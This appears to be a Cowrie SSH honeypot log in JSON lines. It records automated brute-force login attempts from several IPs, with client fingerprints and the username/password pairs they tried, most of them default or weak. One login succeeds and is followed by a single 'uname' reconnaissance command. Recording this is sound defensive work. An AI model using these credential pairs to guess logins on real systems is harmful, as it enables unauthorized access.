{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":10864,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ebce6849ac5","protocol":"ssh","message":"New connection: 177.85.247.230:10864 (10.17.0.5:22) [session: 0ebce6849ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:14.964013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:14.969214Z","src_ip":"177.85.247.230","session":"0ebce6849ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:15.072317Z","src_ip":"177.85.247.230","session":"0ebce6849ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wd","password":"123456","message":"login attempt [wd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:15.516499Z","src_ip":"177.85.247.230","session":"0ebce6849ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:16.621903Z","src_ip":"177.85.247.230","session":"0ebce6849ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60768,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce1854fa4d03","protocol":"ssh","message":"New connection: 141.11.88.14:60768 (10.17.0.5:22) [session: ce1854fa4d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:17.211174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:17.360350Z","src_ip":"141.11.88.14","session":"ce1854fa4d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:17.364488Z","src_ip":"141.11.88.14","session":"ce1854fa4d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:17.785775Z","src_ip":"141.11.88.14","session":"ce1854fa4d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:18.899053Z","src_ip":"141.11.88.14","session":"ce1854fa4d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27854,"dst_ip":"10.17.0.5","dst_port":22,"session":"f15b7d25ea98","protocol":"ssh","message":"New connection: 141.11.88.14:27854 (10.17.0.5:22) [session: f15b7d25ea98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:24.118960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:24.184231Z","src_ip":"141.11.88.14","session":"f15b7d25ea98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:24.267435Z","src_ip":"141.11.88.14","session":"f15b7d25ea98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaa","message":"login attempt [root/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:24.978662Z","src_ip":"141.11.88.14","session":"f15b7d25ea98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:26.239524Z","src_ip":"141.11.88.14","session":"f15b7d25ea98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25428,"dst_ip":"10.17.0.5","dst_port":22,"session":"161a54dc8365","protocol":"ssh","message":"New connection: 141.11.88.14:25428 (10.17.0.5:22) [session: 161a54dc8365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:31.125241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:31.186666Z","src_ip":"141.11.88.14","session":"161a54dc8365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:31.334473Z","src_ip":"141.11.88.14","session":"161a54dc8365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openhabian","password":"openhabian","message":"login attempt [openhabian/openhabian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:32.358287Z","src_ip":"141.11.88.14","session":"161a54dc8365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:33.616911Z","src_ip":"141.11.88.14","session":"161a54dc8365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25498,"dst_ip":"10.17.0.5","dst_port":22,"session":"88c826db7eaf","protocol":"ssh","message":"New connection: 141.11.88.14:25498 (10.17.0.5:22) [session: 88c826db7eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:36.947432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:37.352138Z","src_ip":"141.11.88.14","session":"88c826db7eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:37.355780Z","src_ip":"141.11.88.14","session":"88c826db7eaf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin1234","message":"login attempt [admin/Admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:38.286821Z","src_ip":"141.11.88.14","session":"88c826db7eaf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:38.531875Z","src_ip":"141.11.88.14","session":"88c826db7eaf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:38.535174Z","src_ip":"141.11.88.14","session":"88c826db7eaf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:38.632510Z","src_ip":"141.11.88.14","session":"88c826db7eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:38.637717Z","src_ip":"141.11.88.14","session":"88c826db7eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":34004,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcf5cd2cf35","protocol":"ssh","message":"New connection: 160.191.244.158:34004 (159.203.135.109:22) [session: efcf5cd2cf35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:45.214333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:45.218863Z","src_ip":"160.191.244.158","session":"efcf5cd2cf35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:45.451414Z","src_ip":"160.191.244.158","session":"efcf5cd2cf35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33276,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b43abe5dc1b","protocol":"ssh","message":"New connection: 141.11.88.14:33276 (10.17.0.5:22) [session: 2b43abe5dc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:45.869338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:45.886942Z","src_ip":"141.11.88.14","session":"2b43abe5dc1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:46.059907Z","src_ip":"141.11.88.14","session":"2b43abe5dc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ib","password":"ib","message":"login attempt [ib/ib] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:46.414405Z","src_ip":"160.191.244.158","session":"efcf5cd2cf35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"idempiere","password":"idempiere","message":"login attempt [idempiere/idempiere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:46.554255Z","src_ip":"141.11.88.14","session":"2b43abe5dc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:47.642457Z","src_ip":"141.11.88.14","session":"2b43abe5dc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:47.648984Z","src_ip":"160.191.244.158","session":"efcf5cd2cf35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":26960,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a651cf10031","protocol":"ssh","message":"New connection: 141.11.88.14:26960 (10.17.0.5:22) [session: 7a651cf10031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:52.591776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:52.981184Z","src_ip":"141.11.88.14","session":"7a651cf10031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:52.984718Z","src_ip":"141.11.88.14","session":"7a651cf10031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3ioj0u0uO(_I@jieee","message":"login attempt [root/3ioj0u0uO(_I@jieee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:54.347527Z","src_ip":"141.11.88.14","session":"7a651cf10031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:55.732980Z","src_ip":"141.11.88.14","session":"7a651cf10031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39770,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaaaf9296a2e","protocol":"ssh","message":"New connection: 141.11.88.14:39770 (10.17.0.5:22) [session: aaaaf9296a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:59.450511Z"}
